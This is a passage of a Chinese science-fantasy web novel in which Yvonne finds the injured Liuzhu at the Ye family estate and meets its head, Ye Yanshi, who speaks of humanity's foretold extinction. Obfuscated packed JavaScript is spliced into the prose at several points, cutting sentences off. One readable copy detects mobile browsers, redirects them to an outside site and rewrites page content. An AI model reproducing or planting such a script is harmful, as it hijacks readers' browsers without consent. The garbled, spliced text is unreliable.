“不是任务,我的私事。”伊冯从口袋里摸出一块干净的布,递给安琪儿,“先擦擦。” 安琪儿松开伊冯,没有接那块布,看着伊冯问:“什么样的私事?” 伊冯心下轻叹,这不是她想要的发展,但在这里哄骗安琪儿毫无意义。 她说:“只与我自己有关的私事。” 安琪儿眼中藏不住的期望在听到她的话后暗淡,她低头,看着手里的盒子说:“祝您顺利。谢谢您的礼物。” 伊冯“嗯”了一声后,便无话可说,和安琪儿道别。 “那就是你们的老师?明明看起来和你年龄差不多?”实验室的新人走到安琪儿身边。 安琪儿情绪低沉,说:“因为她是天才,和我截然不同的人。那样的人,不可能会为我这种人停留的,对吧?” 身旁的人没有安慰她,只是若有所思地望着伊冯离去的背影。 伊冯在柯查尔办公室外找到刘念,刘念说她请了几天假去处理些事。 刘念说:“阿吉斯家主的事被压下没有传播开,这背后肯定有蹊跷;恕——就是我们说的小疯子,要怎么应对她,我也想问问老师的意见。你要一起吗?” 伊冯说:“我正要问你,刚才这黑线突然勒紧了,是洛佑怎么了吗?” 刘念说:“动静不大,应该只是修复期间灵魂恢复感知感受到疼痛,挣扎中牵动标记线了。保险起见,你可以去看看。” 伊冯松了口气,说:“行,我先去和柯查尔请假。” “你也要请假?”柯查尔瞥到门外刘念的衣角,“是很紧急的事吗?” 伊冯说:“应该不会花很长时间。队里最近也没什么离不开人的事吧?” 柯查尔说:“星盟给总部发函了,我们团要参加盟会联合研究塔以及各家族举办的佣兵大赛。开幕式就在下月,你能力强,我是想推你当参赛主力的,如果那之前你能处理好回来,我给你准假。” 伊冯笑:“行,我一定参加。我那点私事,要是开幕式前还没解决,我就不解决了。” 她说得这么大方,柯查尔只能点头。 只是在伊冯离开后,柯查尔还是摘了眼镜祈祷:这俩千万别是带着传闻中的巨量蓝金跑路了。 伊冯和刘念各自回宿舍房间再进世界的间隙。 她们飘到灵魂球附近,刘念摸着外圈的黑雾闭眼感受了一会儿。 “没什么问题,就是吸收得慢,恢复速度不快。”刘念又分了些黑雾贴上灵魂球,“关于给她做身体的事,你现在有思路吗?” 伊冯听出她藏着话,问:“你有什么建议吗?” 刘念说:“云姨对这些比较了解,你可以去找她问问。” “就是我们在布朗的货船上见到的那个老人?”伊冯向她确认,“她是布朗家的?” 刘念摇头:“她出身于卡洛琳。布朗之前的掌权人去世前暗中将布朗交给她管理,现任的布朗家主是云姨培养的。” 上一辈的人际关系真是错综复杂。 确认洛佑无事,她们便退出了世界的间隙,各自收拾行李。毕竟是向队里请了假的,明面上得做出样子。 正收拾着,伊冯的终端手环突然震了几下,这个震动频率表示她关注的某人生命迹象出现异常。 是流珠,怎么回事? 伊冯调出她做的小程序,流珠不知何时已不在栖止,这个信号源的位置是……东盟的望月系? 伊冯要收拾的行李不过是补充装备,把追龙的衣服换掉后,装上各种以备不时之需的仪器和药物,便锁上宿舍门前往停机场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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伊冯神色未变,二号却一副得到证实的恍然语气说道:“毕竟你那个账号注销后不久,阿吉斯家大小姐的讣告就发出来了,也太巧了?最初介绍你给我认识的是木家的小姐,你刚开始出手大方得夸张,买了假身份后才慢慢开始和我讨价还价,看着就像个偷溜出家门隐姓埋名体验生活的富家小孩。” 伊冯问:“是来要封口费的?” 二号说:“别这么想我嘛,现在我们可是同一个团队的伙伴,谈钱多俗。” 见伊冯脸上摆着不信,二号摊开手说:“好吧,我是想从你身上勒索点东西,比如你们的伪装面具之类的。不过现在有更值得做条件的东西。” 她冲伊冯挤眼睛:“下个月的佣兵大赛我也会上场,但我不擅长正面强攻,到时候拜托你多照顾我点?” 伊冯半信半疑:“就为这个?” 二号说:“参赛奖励有研究塔的新发明,我很想要啊。” 不是什么难事,真有什么暗坑,到时再收拾她就是。伊冯应下了二号的条件。 二号又叮嘱她:“我在这叫用的是‘只争第二’那个号的身份,你别叫混了。” 伊冯敷衍地点头转身要走,二号突然又在她身后说话。 二号说:“不问问你可爱的学生现在怎么样了?” 伊冯没有回头:“我不在的时候她把自己照顾得挺好,她适合这里。” “无情。” 听二号带着笑意的评价,不知她是存了几分玩笑的心说的。 伊冯没有理会,进入飞行器驾驶机器直奔空港出星。 二号望着远去的飞行器,又回望研究楼的方向,轻声道:“留在原地什么都不做,当然会被丢下。她不会等你的。” 59.叶东盟 流珠不是做事顾头不顾尾的人,她既然离开栖止,一定是把栖止上的事都安排好了再走。伊冯不担心她们的地下基地和莎丽出事,只是不知道流珠去东盟做什么,会让自己陷入几近丧命的危险中。 伊冯启动飞行器,到空港租用空间跳跃器,再在空间产生波动时自己找到空间折叠点跳过去。 东盟的通行流程繁琐,西盟过去的得先在星系边缘的中转站停靠,提交申请交代来访目的才能继续使用跳跃器进入系内。 装在流珠终端里的程序还在实时监控她的生命体征,虽然比起刚发出警报时的状况要好上一些,但还很微弱,不知道她现在处于什么环境,会不会遭受二次伤害,所以伊冯不想在程序上耽误时间,直接追着信源跳到了望月系内的守明星旁的中转站。 守明星是东盟叶家的主星,星上没有公共港口,她不确定流珠重伤的原因,直接跳跃到守明上挑衅叶家不是好选择。 再想从中转站进入守明,就得和叶家的人正面接触了。 东盟叶家是各大家族中存续最久的,在星盟分裂前,无论商政都有叶家人的身影,在各家斗争中总是不明确态度,似乎与每家关系都不错,又似乎与哪家都疏远。叶家不争不抢的低调作风,让各家也愿意与其维持表面的友好。 直到五十多年前,叶家突然与霍夫曼、复陆两家联手挑起战乱,最终导致星盟分裂为东西两盟。那是一场开始和结束都很突然的小规模战争,甚至没有波及到民间,媒体记载中对分裂战争的始末只有各种缺乏实质证据的揣测,只能从各家族、星盟盟会及研究塔大换血的管理层窥见冰山一角。 分裂后两盟断绝往来,东盟关闭了所有空间跳跃点,西盟因而无法获悉来自东盟的任何消息。分裂五年后,西盟再次收到东边的消息,以内网的技术为条件,要求西盟与东盟建立友好贸易关系。 两盟建交后,西盟发现叶家已成东盟的无冕之王。不知那五年里这三家又发生了什么,综合实力更强且握有重兵的两家竟然被叶家越过,甚至成为了叶家的附庸。 得知这些事背后都有自己生母的原因后,伊冯再回忆曾只是打发时间看过的近代发展史难免心情复杂。自己现在对于源本尊的了解依然不多,倒快要把她的人际关系网摸清了。 得知她要去东盟找人后,刘念对她说:“恕在意的人很少,能让她改变主意的,除了你母亲,或许就只有她的养母了——如果你和叶家的人有接触,可以顺便去见见叶家的掌权人,叶言实。” 既然现在叶家掌权的也是当年参与过“开源计划”的,她想找叶家的帮忙找人应当不难。 伊冯将飞行器停靠好,正要起身,忽然发觉周边的空间又出现波动,她翻身滚到一旁、无形的意识刺出扒开尚未成型的空间缝隙,将藏身其中的人拽出。 意识捆住对方的瞬间伊冯便认出偷袭她的人是谁,她将空间缝隙合上,起身走到被摁在地上无法动弹的米伽面前。 伊冯居高临下地看着米伽,对方激烈的心跳声和不断渗出的汗珠都在表露慌张,她收回意识,让米伽能够活动。 伊冯说:“你刚才藏身的缝隙,另一端连接的是朱厄尔。你是卡洛琳的人?无论你们想做什么,我之后会自己去卡洛琳见那位‘云姨’的,现在别来碍事。” 她打开舱门送客,米伽动作不顺畅地起身往外走,到她身边突然开口:“不要信任叶家,她们只注重人类的利益,不要被她利用!” 接着又一团空间扭曲,米伽消失在她面前。 伊冯感受了一下那股波动,不是以米伽为中心产生,是米伽的同伴将她带走的。 就算叶家真的像她说的有什么问题,她们这想带走她的行为,也不一定不她们讨厌的叶家更高尚。上一回在布朗货船上见到的“云姨”也想带走她,什么毛病? 伊冯走下飞行器,她还没主动去找人,却已有个身穿月白色东方传统衣服的人走近她。 这人腰上挂着一块镂空雕刻“叶”字的玉牌,身份不言自明。 她两手交握抬高与胸部平齐,躬身向伊冯行礼:“可是伊冯小姐?叶家有何能为您效力的?” 她的身份是不是在哪个她不知道的聊天群里被共享公开了,怎么一个个都无视她的伪装叫破她的真名。 对方开门见山,她也不迂回:“我来找人,叫流珠。” 还不等她再补充些信息,以免/流珠用假名伪装了外貌,对方已经点头。 叶家女说:“原来是伊冯小姐的友人,她近日修行不顺,正在府内静养,恐怕不便见客。” 这人说话的腔调怎么比刘念还板正——她之前以为刘念老师的说话方式已经够复古了,这位更是有过之而无不及。 不过听这话,流珠不是遭遇什么危险,而是成了叶家的人、在受叶家训练? 伊冯说:“我要亲眼见她,确认她的情况。” “请您随我来。”叶家女侧身为伊冯引路,带伊冯进入叶家专用的机场,坐叶家的飞船进入守明。 叶家的飞船外形设计上用了仿木涂装,仿佛古时的水上小舟。艇身当然也有叶家的族徽,只是相较别家要设计得不起眼的多,与仿木质浮雕的花纹融为一体。据说几个年代久远的家族都没有用族徽的习惯,后来为了配合大多数家族的风格才设计,觉得太招摇展示有失格调,会偏爱藏起族徽的设计。 飞船的外观尽是只顾好看的设计,速度竟然不差,伊冯才在“贵宾室”里坐下吃了两粒浆果,船便落地停稳了。 伊冯看了眼以各类浆果为主的果盘,跟着过来引路的人下船。 好几样浆果都不是望月的常见品种,在斯忒波她倒是吃了不少这类果子。不知道是不是在那个丧尸世界难得吃到新鲜蔬果的原因,她现在会偏好水分充足的浆果。 飞船直接停入了叶家大宅内,伊冯下船时看到的是一片绵延不见尽头的青瓦红柱,飘渺的雾气让百米外的事物都被模糊成青色的影子。悬挂在长廊屋檐下的花灯摇晃着,在雾中印出浮动的各式彩色的影子。 引路的叶家女静候伊冯欣赏完景色,才抬手请她跟着自己走。 跟着人走过一条长廊,伊冯敏锐地发现走下长廊时周围的空间扭曲了一瞬,她们已走到一间屋前,带路的人对她说流珠就在里面。 以她下船远眺时所见,这么短的时间内不可能仅凭步行走到任何一栋建筑前。是在宅内的通道出入口设置了跳跃装置吗,若没有叶家的人带路,擅自传入的人别想轻易来去。 叶家女打开门,对她屈膝行礼,说:“我就在附近等候,您有任何需要出声吩咐便可。” 伊冯走入屋中,房中的布置古朴简单,绕过一扇屏风,流珠正躺在墨色的浴缸中。浴缸是条状的,宽度正好容下她,浴缸一端的曲线托着流珠的头不会滑入水中;缸中的水面盖着一层不知用途的花叶,飘起的水气中带着浓郁的草木香。 这是在做什么? 伊冯取了一滴缸内的水放进解析仪,等结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792462|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果的同时观察流珠的样子。 面无血色,表情痛苦,水面上的位置不见外伤——没闻到血腥味,水下的身体应该也没有伤口。体征数据倒是比她赶来前好上许多,看来叶家是有及时给流珠治疗的。 她正对着解析仪给出的数据皱眉,流珠睁开眼见到她突然往下一滑呛了水。 伊冯看着她扑腾两下就不动了,伸手把她的脑袋托到水面上,等流珠停了咳嗽,才说:“见到我需要这么惊讶吗?” 流珠捂着胸口余惊未了,好一会儿才回话说:“你果然是叶家的人。” “我不是。”伊冯在浴缸边的布上把手上的水擦掉,找了个椅子拉到浴缸边坐下说话,“你怎么突然跑叶家来了,还差点丢了命?” 流珠答非所问:“她们说有贵客要见我,所以破例给我加药恢复意识。我就说,我这么一条贱命,还能有什么贵人要见我。” “我不‘贵’吗?”考虑到流珠现在状况不好,伊冯没打她,“回答我的问题。” 流珠又咳了两下,才说:“算了,就算我不说,你也能从叶家的人那打听到。我欠了蒙涟娜人情,她让我带着她的信物来叶家……叶家的人说这是叶家学生的东西,既然在我手上,就由我来完成那个学生没完成的课程。” 伊冯问:“学什么?” 什么学习能送命,流珠这样子这也不像是受格斗训练受伤。 流珠说:“我也说不好,只知道只有学会了那些东西才算真正的叶家人,我……” 伊冯端详着她的表情,说:“看来你是愿意继续留在这了。” 流珠脸色发红,没有说话。 伊冯伸出一条意识搭在流珠身上,悄悄探查她的身体。自从上次过劳被世界灌输了许多信息后,她这些天一直在慢慢消化它们,对于自己的各项天赋要如何应用渐渐有了更清晰的认知。 在伊冯看来,流珠的身体就像被用锤子砸出许多裂缝的玻璃人,残破得一戳就要碎了。浴缸里的药物有在填补那些裂缝,但其中最多的是作用于精神的成分,确实如流珠所说,叶家的人用这些药只是为了让她能醒来和自己对话。 伊冯问:“如果我没来呢,她们就不会给你用这些药了?” 流珠说:“平时,我们都是在阵里,阵法会聚集能量供我们吸收,能吸收多少恢复身体,就各凭本事了。” 什么东西?什么镇? 伊冯没想到在经过这么多后她还能有世界观被冲击的感觉——这都什么和什么?她没穿越换一个世界对吧? 伊冯从意识上分出一丝钻入流珠体内,叶家的这些东西应该只是换了另一些玄乎的名词,都在同一个世界的规则下运行,不会是她完全不能理解的东西。 她知道自己的身体能转化成可供人类使用的能源,就像研究塔曾试图从源那获取的,她们的身体是某种比蓝金更万能的物质。刘念也说过,她的小片意识可以成为修补洛佑灵魂的材料,那么她能用自己给流珠疗伤吗? 她的那一丝意识在流珠体内游走,所经之处,不见伤痕。 在流珠看来,伊冯盯着自己沉默,而她的身体突然由内向外散发暖意,那些让她无法动弹的疼痛忽然没了踪迹。叶家这次给她用的药效果这么好吗? 伊冯收回意识,损耗比她预想的少,这事远比她以为的简单。这下,她倒是更加理解研究塔当初的疯狂了。 “伊冯小姐,”叶家的人突然进屋,隔着屏风说,“家主希望能与您见面。” 60.林中苑 伊冯瞥了眼流珠,对方没对“伊冯”这个名字有反应。在栖止的人用假名不是少见的事,流珠或许从没觉得“利比逖”是她的真名。 伊冯问:“女士?你是指叶言实?” “是的。” 伊冯问:“现在吗?” “全凭您的意愿。” “那就再说吧。”伊冯转回头看着流珠,“我们还要叙旧。” 对方似乎不满意伊冯的答案,过了两息,屏风上的影子才躬身行礼应是,慢慢退出房间。 流珠瞪着伊冯:“你究竟是什么人?” 怎么叶家的人对她如此恭敬? 她不是人。 伊冯心下回了个冷笑话,嘴上说:“比起我,你不问问你的女儿?” 流珠一僵,避开脸不说话。 伊冯说:“她现在在追龙佣兵团,社交能力进步很多,任务也完成得好,和她同组行动的人都喜欢她。她已经是个出色的佣兵了。” 流珠只低着头,不给伊冯反应。 她泡的药液药性刺激,之前被伤痛盖过去还没感觉,现在恢复知觉了,皮肤上的刺痛渐渐让人难以忍受。可伊冯还在旁边坐着,她自认没和对方熟到能自在地当面换衣服的程度。 伊冯其实也没什么能和流珠说的,她们间能拿来做话题的只有R,流珠不回话,她难道还要不停想话题硬聊吗。 见流珠在忍痛发抖,伊冯没有看人自虐的兴趣,离开房间找人带路去见那位叶言实。 走过一段廊桥,伊冯被领到艘小型快艇前,外观设计与之前坐的飞船风格一致。 带路的对她解释说:“女士常居于东玄后土。女士说本该由她来见您,无奈受限于身体,不便长途远行,望您谅解。” 做独行佣兵时,东盟的中心星系东玄系伊冯也曾去过几次,只是没去过其中人类的母星“后土”。 在人类正式移居星际前,唯一承载了人类的母星被过度开发,生态环境全面崩溃;在发现越来越多的宜居外星球后,人类停止了对母星的索取,尝试修补她。 如今的后土,是一颗点缀着几片浓绿的蔚蓝星球。曾经她的两极有大片的冰层,后因全球温度升高而融化消失,也导致这颗星球九成都被水体覆盖;一成的陆地上则多为森林、草原,虽然离人类对这颗星球的期望尚有段距离,但已重建了较健康的生态系统。 后土附近未设跳跃点,一般情况下要过去只能先跳跃到最近的辰星上,再从辰星驾船航行到达后土。 按叶家人的说法,这艘快艇会直接带她到叶言实的住处。 伊冯登上快艇,这回没有人跟她一起,也没有驾驶员,自动驾驶系统设置了目的地,在她登上艇后便自动起飞出发。 伊冯坐到驾驶员的位置上,解开锁定的操作面板。驾驶系统和研究塔的不是一个体系,飞艇的制造工艺也是自成一派。 她拆开供能仓看了眼转化器,虽然还有改进空间,但会比研究塔的转化效率更高。 一个花型悬浮机器托着食盘停在她手边,盘中几个碟子分别放在许多东玄特色吃食和水果拼盘,果盘中仍是浆果居多。 如果不是巧合,而是特意按她喜好准备的,说明叶言实消息灵通到绝不可能不知道自己的养女在做什么。 她对刘念希望她找叶言实说服那个恕的计划不抱期望,换做是她也不会被洛佑几句话动摇决定,更别说对方筹谋多年,有着能让无数人丧命的疯狂。现在看来,那个叶言实似乎也没有阻止的意思。 伊冯刚合上供能仓,发现快艇进行了空间跳跃,肉眼能见前方的蓝色星球。 这么快?附近没有像是跳跃点的装置,不用跳跃点确认坐标,直接进行跨星系空间跳跃? 舷窗外,月球被越过,快艇眨眼便进入后土的大气层,穿过云层投入蔚蓝的汪洋之中。 研究塔为了把持垄断地位,刻意控制着推新频率,让市面上通行的技术比研究塔的落后几年,即使有人通过研究塔流出的设备破解了制作技术,也不会有任何威胁。叶家没将这些足以打破研究塔垄断地位的技术放出,又是出于什么样的考量? 快艇在海洋上方阶段性降速,利用海风为艇身降温,当快艇到达绿色的陆地与海的边缘,已可以擦着繁盛的枝叶在密林中降落。 伊冯走出自动打开的舱门,看着直连脚下的木栈道。快艇落下的停机坪是在潟湖里的小岛,说好的“直接送到住处”呢,叶言实住在水下? 伊冯正看着水面下的珊瑚礁群,突然听到“嗒嗒”声,转头望去,是一只被毛雪白的鹿,正从栈道彼端轻快地踏步而来。 白鹿嗒嗒嗒地到伊冯面前,再转身俯下身子,扭头对着伊冯叫了一声。 见伊冯盯着它没有动作,鹿把头往自己后背点了点,又叫一声。 伊冯试探着跨坐到鹿背上,鹿不知是提醒她坐稳还是为她终于理解自己的意思高兴,发出轻鸣后站起,稳当地向来处走去。 白鹿走过水上栈道,水波反射银光漾过它雪白的毛发,映得伊冯身上都仿佛落了薄雪。 骑在鹿背上的感觉比预想的舒服,这只鹿的背部脂肪厚实,没有鞍座也不硌;它走得比来时缓,起伏很小,让伊冯坐得很安稳。 伊冯摸着白鹿的脊背,感受手下的温热和脉动,不是仿生机械;许多动物可以被驯服到能听从指令完成简单的任务,但这种事许多年前就被立法禁止,更别说在以保护生态为最高优先级事项的后土,驯养野生动物在东盟可是重罪。 白鹿行过水上栈道,顺着一直延伸进密林深处的木道,不疾不徐地落下步子, 伊冯开口对鹿说话:“你能说人话吗?” 鹿的脚步顿了片刻,伊冯听到浑厚的声音从她正摸着的白鹿喉部震出:“殿下真是敏锐。” 伊冯:“……你叫我什么?” 白鹿的声音中带着恭敬:“殿下。我的老师称您的母亲为陛下,您自然就是我们的殿下。” 她还是没听懂,这不是通用语里的词汇。联系上下文,应该是某种带有上下从属关系的称呼。 伊冯问:“你叫什么?” 白鹿回说:“我叫醉霜,殿下叫我小霜便可。” 伊冯说:“我叫伊冯,叫我伊冯便可。” 醉霜听出伊冯这是不喜欢她的称呼,低声回应以表明自己不会再犯。 伊冯挑眉,醉霜好像有点怕她。她们现在确实不在平等对话的状态,伊冯出声让醉霜停下,而后跳下鹿背。 伊冯问:“还有多远?” 醉霜说:“不到三里。我走得太慢了吗?” “这里风景很好,我想自己走走。”伊冯侧头看着醉霜正脸,“我第一次看见鹿皱眉头。” 醉霜局促得原地小步跺脚,好在伊冯没有盯着不放,很快就直起身往前走,她也赶紧按伊冯的步调跟在身侧。 木道修得蜿蜒曲折,两旁是被精心修剪维护的植株,阳光透过上方树冠叶片间隙洒下光斑。 醉霜因为雪白的毛发容易折射光亮,在林中仿佛浑身发光。伊冯收回视线:晃得眼花,再盯下去要雪盲了。 伊冯问她:“你是什么?这是你原本的样子,还是特意变化的?” 醉霜边想边回答她:“我是‘妖’,这是我的,原形?我一直都是这个样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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拐过几道走廊,掠过光影各异的花窗,眼前又见水光。 原来是片池塘。 伊冯走进池塘中央的小亭,靠着围栏看水下追着人影的各色游鱼。阿吉斯的庭院也有池塘,也养鱼,怎么看着就没有这些可爱?建筑设计造成的心理暗示吗? 水下的鱼围着她的影子张嘴,只是喝了许多水,终于散开不理她。 伊冯轻笑,转身在围栏边的鹅颈椅坐下,说:“这里的景色确实不错,但我可不想被当景观,该出来见我了吧?” 她顺着听到的脚步声回头,池塘对面的圆洞门走出一个穿着鹅黄色衣裳的女人,头上几支珠钗点缀着她见过的最复杂的编发。 女人绕过走廊步入亭中,在伊冯面前停下矮身行礼,说道:“抱歉,如此好时节,我却身有不便,只能如此与您相会。” 伊冯仔细打量面前的女人,突然伸出手抓住女人的手腕——有脉搏,皮肤触感偏凉,但还在人类正常体温范围内。 肯定有哪里不对。 伊冯双眼染黑,星群在她眼眶中旋转闪烁,所有景象都成了飘荡在宇宙中微不可查的浅淡线条,面前的女人也被穿透皮囊直视灵魂——女人体内的灵魂是条“仌”形的线,一条细且凝实地从脑袋至躯干的线,伸出四条更细的填进四肢。 伊冯闭眼,睁开恢复正常的眼睛,看着面容平静的女人。 她摩挲着手下与真人无异的手腕,问:“你把自己的灵魂分了一点放进这个身体里,远程操控她行动?是只要这点就足够让她行动,还是这具身体只能容纳这么多?” 女人回答她:“二者都有。能容纳我们的身体太难制造,在你面前的这具,已经是我能做到的极限。” 伊冯问:“你想让我帮你做个合适的身体?” “没有合适的身体也无妨,这还不值得惊扰你。”女人轻笑着,顺着被抓着手腕的姿势单膝跪地,语气郑重,“我想向你确认,你如何看待人类,想要如何对待这个世界?” 61.无价诺 这种问题,完全把她放在非人阵营里。 换言之,叶言实把自己放在代表人类的位置上。 伊冯松开手,垂眸看着跪在她面前将自己姿态放低的傀儡。 是因为在操纵傀儡,所以能轻易地摆出低姿态,还是在想向自己争取的东西面前,她的尊严如此不值一提? 伊冯说:“我自以为是人类二十四年,观念和立场不至于立刻扭转。为什么要问我这些?” 叶言实说:“人类正走在灭亡的道路上,你愿意扭转这样的未来吗?” 伊冯直觉她指的不是怪物首领的那些恐怖袭击计划,还是问她:“什么灭亡?你的养女真要用蓝金炸死全人类?” 叶言实轻笑,说:“她确实想这么做,但她做不到。她虽有满腔怒火与难以消解的仇恨,却没她自以为的狠心。我所说的,并非人力所致,而是世界的必然。” 伊冯终于对她的话起了兴趣:“世界?” 叶言实说:“你母亲不赞成主动窥探未来的行为,是我偷偷翻阅了人类的终点,我想知道我们最终会走向何方——却只看到一片荒芜,人类这个物种将在五百年后从宇宙中消失,不留下任何痕迹。” 五百年。 放在人类史中,是个不长不短的时间,把这个时间视为全人类的倒计时,确实会有些不知所措的焦虑。对于生活在现在的人,那太远,是不会到达的远方;对于期待未来的人,那太近,如果现在开始做些什么,是否能为后来人谋得一线生机? 伊冯伸手把还半跪着的人拉起来,让她坐下。 “你看到原因了吗?”伊冯问,“你觉得我有能力改变?” 叶言实坐在伊冯身边,直视她的双眼,说:“如果将我们的世界看作一颗果实,在这颗果实之外,有一片广袤的果园,我们的世界只是悬挂在某一棵树某根枝桠上的其中一个。挂在树枝上的果实吸取着树输送来的养分,会越来越成熟饱满,而后,成熟的果实会脱离枝头,落入养育了树的土壤中,落地生根,成长为新树。但是,我们的果实没有那样的未来。果园里感染了病害,同种的果子都会染病,在枝头腐烂,不会成熟,不会有新树从病果中生出。” 伊冯问:“这个‘病害’实际是什么?” 叶言实的笑有些悲伤:“这个比喻确实不贴切,或许是我不愿接受我们是被放弃的……与其说病害,那更像是果农投放的药剂。药剂最终会使果树更健□□出经过改良的果实,只是在初期的排异反应里,会有许多果实损毁——这个比喻也不完全吻合,世界正在经历的更像是嫁接换种,不过,我们毕竟没直接被从树上砍下。” 伊冯说:“听起来像是正在进行演化,而人类是演化中被退化的部分?” 叶言实感叹道:“你理解得很快。是的,这就是我看到的,所有存在人类的世界,都会迎来这样的未来,在宇宙的果园中,不会再有含有人类的果实。” 伊冯一时无言,她和叶言实的会面目的,怎么就从“阻止那个乱丢炸弹的恐怖分子”跳跃到“拯救全宇宙人类”了? 叶言实等了一会儿,见伊冯逐渐眼神发飘,不知神游何处,这才出声问:“你怎么看待这样的未来?” 伊冯觉得对方肯定不是想听自己接下来的话。 她说:“如果这是自然演化,我不知道我需要怎么看待。从宇宙中产生第一个生命至今,有无数物种消失,人类会成为这其中之一,又如何呢?没有谁能永存,这个世界也会迎来塌缩消亡,宇宙的果园必然会在某天荒芜,而后另有一片新园长出新芽。” 叶言实看起来对伊冯这番话早有预料,只是平静地叹息。 她忽又说:“如果不是研究塔的行为,人类的末日不至降临得如此之早。或许是因为这其中有人为因素,才让我如此不甘。” “怎么又是研究塔……”伊冯话说半截,反应过来她指的是什么,“研究塔毁掉了几个世界,过度介入干扰别的世界,与这有关?” 叶言实点头,说:“研究塔打破了平衡,让世界将人类视为有害的、应尽早排除的缺陷,针对人类的自我清洁才过早启动。我不能眼看全人类为一小部分人的错误偿命,却毫不作为。” 对方这话说得,伊冯都觉得自己不该无动于衷。 伊冯说:“研究塔发现源是三百年前的事,但研究塔称得上遭受重创的事件,只有五十年前的那一次——在那之前,源和研究塔是不是达成了合作关系?” 从源在坐标(负二十,七)那个世界展现出的能力来看,就算研究塔让她失去记忆,她也会用自己的天赋反抗受困的现状,研究塔没有那个本事在近三百年的时间里一直掌控她。那么,为什么源在五十年前才离开,为什么她的一众故交在五十年前才联手对抗研究塔?一定是她自己愿意留下。 叶言实说:“是。” 伊冯问:“研究塔能给她什么?” 叶言实笑道:“什么也没有。” 伊冯:“……虽然我没和她接触过,也能理解她不在意研究塔对她做过的事,但是,她应该不至于那么无私吧?” 叶言实说:“世界都是她的囊中之物,谁有资格给她什么?她也不需要从谁那获取什么。她和研究塔建立了一百年的合作关系,是因为她视那时研究塔的主管为友人。” 伊冯问:“那时候研究塔还是米勒家的吧。被家族当实验品,成为掌权者后还能继续之前的研究?” “她比较特殊,她是自己主动加入实验,而且很快就开始把持实验程序。”叶言实这话说得有些犹豫,“研究塔的大多数主张和实验内容,她也是认同的。” 源视这样一个人为朋友。 伊冯倒是不意外。 五十年前对研究塔的“血洗”源多半也没参与,如果源真的怨恨,她相信不可能有人能从她手中逃脱甚至躲到别的世界,并让研究塔残喘至今。源只孕育了一个她交给洛佑,然后就独自去了“不可知之地”,不在意人类从她身上得到的好处,不在意研究塔对她的不人道行径。 源的作为可以说是对人类的轻视,研究塔对她的“伤害”在她看来不值一提——谁会因为发尾被削去一毫而不依不饶呢? 但既然源与许多人建立了深厚的情谊,甚至与把持实验的人交好,那就说明源不是毫不在乎。 “因为她自认与人类不同吗,”伊冯向叶言实验证自己的猜想,“如果研究塔面对的不是她,而是没有思想的单纯可作为能源的新物质,那些作为可以说是正当的,所以她不会怨恨研究塔,她最初的反抗只是因为觉得枯燥无聊。反而是她的人类朋友们无法原谅。” “源只对研究塔那些要牺牲别的世界民众的研究生气,在她看来,占据有利位置却残害同类的行为缺乏理性,不是自诩智慧的生物应有的行径。赛恩斯成为研究塔主管后,中断了所有以人体为直接研究对象的项目。只是,总少不了阳奉阴违,将自己的‘研究理想’置于人权至上的。”叶言实叙述的语调平缓,“发现赛恩斯无法让那样的行为消失后,源认为这样的合作没有继续的必要,便离开了。” 源离开后,她的朋友们向研究塔展开了“复仇”,叶言实也是其中一员。 伊冯想了想,问:“关于你看到的人类末日,源没做什么?” 如果是研究塔的行为导致世界启动毁灭人类倒计时,这事源在离开前就该知道,她有一堆人类朋友,会什么都不做吗? 叶言实眼眸微垂,说:“她做了很多。她让许多摇摇欲坠的世界可以继续悬挂在果树上,不至在末日之前便坠亡。但她拒绝更改人类的结局,她向我许诺,只要我还活着,我所在世界的人类绝不会灭亡,所以我不必担忧。末日已经离我很远,我不该为此危惧一生。” 伊冯问:“她觉得人类灭亡与研究塔关系不大?还是觉得,即便如此,也不该干涉结局?” “……她只是对人类失去兴趣了。”叶言实温和平缓的声音里透出股疲惫,“她去过很多世界,见过很多人,眼见无数的人间轮转更替。她说,人们总是在做同样的事,同样的好,同样的坏,再多几个五百年又有什么意义呢。人类已经不能给世界带来新的东西了,换做是她,也会更期待别的生命。” 在伊冯的沉默中,叶言实问她:“你也是这么想的吗?你被人类养育长大,自以为是人类二十四年,我还心存一些侥幸,希望你比她更偏爱人类。” “如果你说人类明年就要灭亡,我肯定做不到袖手旁观。”伊冯说,“但是五百年?我连五十年有多久都没体会过,没有足够的想象力去远望那时的毁灭。” 叶言实的眼睛突然被什么点亮,带着令人难以抗拒 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伊冯慢慢跟在她身后,盯着后脑勺琢磨这个人。虽然言行都把她摆得很高,但这人给她的感觉却并没把自身放低。刘念和叶言实一样对她有谋求之物,她能感觉到刘念把自己放于下位,再怎么摇摆不定犹疑不决,面对她时总是更倾向顺从她、听令行事;叶言实虽然短时间内就对她多次行礼甚至下跪,嘴上也恭敬得很,实际却是把她架到很难拒绝的位置,动之以情晓之以理,言语中的破绽也是为了引出更多内容。 回想着二人的对话,叶言实算计了不少,伊冯却不觉得讨厌。叶言实心思虽多,但目的明确,再怎么运用话术,也是围绕目的尝试说服她,她只要考虑利弊就行。 走过几个门洞几道水廊,叶言实带她进了一间林中小楼,门上有“浮舟寻迹”四字。 一楼布置得像个书房,立着一面木制书架,每格都有书,又都没填满,空的地方放了摆件或花瓶装饰。书架前的书桌上堆着许多写满字的纸,东玄的传统书写工具也不是新鲜东西了,伊冯看着那些纸上墨迹糊成一团的字,像笔都拿不稳的小孩字写的。丢在桌上沾满浓墨的毛笔笔头开叉,使用者大概全凭力气写字。 叶言实见那满桌狼藉,说:“学生顽皮,让她在这练字静心,看来还是练得太少。让你见笑了。” 伊冯问:“是醉霜?” “醉霜的蹄子要握笔还太早。”叶言实轻笑,引伊冯上二楼。 